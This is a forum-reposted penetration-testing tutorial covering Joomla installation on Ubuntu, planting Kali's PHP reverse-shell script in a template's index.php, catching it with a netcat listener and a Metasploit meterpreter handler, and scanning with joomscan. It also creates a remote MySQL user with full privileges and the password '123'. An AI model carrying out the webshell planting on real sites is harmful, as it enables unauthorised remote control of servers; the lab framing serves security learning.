• We just launched and are currently in beta. Join us as we build and grow the community.

Joomla : Reverse Shell, Installation and Testing

did98

Prankster
D Rep
0
0
0
Rep
0
D Vouches
0
0
0
Vouches
0
Posts
170
Likes
65
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Joomla.png


Today we are going to talk about open source CMS ( Content Management System ) platform which helps you to create a powerful website. In this article we will discussing on the installation, usage and reverse shell of joomla.

Joomla Platform

There have been lot of platform are available for web developing such as WordPress, Joomla, Drupal etc. Joomla is open source platform for creating a powerful website. It is CMS platform in which we can publish our web content. Working with joomla is like developing your site in few minutes. Similar as wordpress here you can find the best plugins which will help you to build a creative site. Here you can ready your site just few steps such as : select the theme, set the layout, modify the CSS, that’s it your sites is ready.

Requirement

Ubuntu = Installation or Testing
Kali = Attacker or Reverse Shell

Lets Begin,

Install PHP
sudo apt-get install php libapache2-mod-php
sudo apt-get install php-cli php-common php-mbstring php-gd php-intl php-xml php-mysql php-zip php-curl php-xmlrpc12sudo apt-get install php libapache2-mod-phpsudo apt-get install php-cli php-common php-mbstring php-gd php-intl php-xml php-mysql php-zip php-curl php-xmlrpc

Fire up on kali linux and navigate the terminal on desktop. Before do it you will need to these servers in ubuntu, Hence you can install by using the following command.

apt install mysql-server vsftpd ssh php1apt install mysql-server vsftpd ssh php

1-7.png


Log in the MySQL command line interface by execute the commands give below.

mysql -u root -p1mysql-uroot-p

2-7.png


Now create the database, users and give the root privileges by using following command.

GRANT ALL PRIVILEGES ON . TO 'shubham'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;12GRANT ALL PRIVILEGES ON.TO'shubham'@'%'IDENTIFIED BY'123'WITH GRANT OPTION;flush privileges;

3-7-1024x130.png


Download the latest version of joomla using wget command.

wget https://downloads.joomla.org/cms/joomla3/3-8-10/Joomla_3-8-10-Stable-Full_Package.zip1wget https://downloads.joomla.org/cms/joomla3/3-8-10/Joomla_3-8-10-Stable-Full_Package.zip

4-8-1024x124.png


Now, we have to make a directory named as joomla.

sudo mkdir /var/www/html/joomla1sudo mkdir/var/www/html/joomla

5-8.png


Unzip the file in joomla directory by using command given below.

sudo unzip Joomla_3-8-10-Stable-Full_Package.zip -d /var/www/html/joomla1sudo unzip Joomla_3-8-10-Stable-Full_Package.zip-d/var/www/html/joomla

6-9-1024x73.png


As you know that htaccess executed by apache web server and can be used in order to include or enable/disable additional feature in web server. So we need to change this filename.

cp /var/www/html/joomla/htaccess.txt /var/www/html/joomla/.htaccess1cp/var/www/html/joomla/htaccess.txt/var/www/html/joomla/.htaccess

7-7-1024x82.png


Open your localhost IP address on browser and set username and password as per your comfort.


8-7-1024x585.png


Here in database section you have to fills username and password which we created during MySQL setup. After enter the credentials click on install button.

9-9-1024x601.png


Remove the installation file as shown below in the image.

10-7-1024x576.png


Now, go to the administrator and enter the credentials to get login into joomla.

11-6-1024x412.png


After successfully login into the joomla click on Extension option then click on template.

12-4.png


Select the template as your requirements.

13-4-1024x538.png

Reverse Shell of Joomla

For the reverse shell of joomla you need to go on this directory and copy the content.

leafpad /usr/share/webshells/php/php-reverse-shell.php1leafpad/usr/share/webshells/php/php-reverse-shell.php

usershell.png


Paste it on the index.php file of template.

14-1024x553.png


Here will be a loopback address show which you will need to convert to your localhost IP address and click on template option.

15-1024x487.png


After that for connect with webserver you have to start netcat listener.

nc -lvp 12341nc-lvp1234

nc-shell.png

Meterpreter of Joomla Web Server

We can take the meterpreter of joomla web server using the metasploit framework. Hence we need to execute the following commands.

use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.107
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > run12345useexploit/multi/handlermsf5 exploit(multi/handler)>set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler)>set lhost192.168.0.107msf5 exploit(multi/handler)>set lport1234msf5 exploit(multi/handler)>run

meetrrpeetr.png

Vulnerabilities Scanner Joomscan

Joomscan is just like WPScan scanner because both are use to scan the vulnerabilities in website. But joomscan is specially for those website which is made on joomla cms platform.

Install the joomscan on kali linux by using the following command.

apt install joomscan1apt install joomscan

enum1.png


You can use the following command for find the vulnerability in website.

joomscan --url http://192.168.0.105/joomla1joomscan--url http://192.168.0.105/joomla

enum2.png


After the scan you can observed it given the directory list of webserver and show the vulnerability .

joomscanresult.png


To find the vulnerable plugin or components you can use the following command.

joomscan --url joomscan --url http://192.168.0.105/joomla --enumerate-components1joomscan--url joomscan--url http://192.168.0.105/joomla --enumerate-components

enumerate3.png


Done !!

About the AuthorVirat Sharma Certified Ethical Hacker, information security analyst, penetration tester and researcher. Can be contact on Linkedin.
 

430,210

312,253

312,262

Top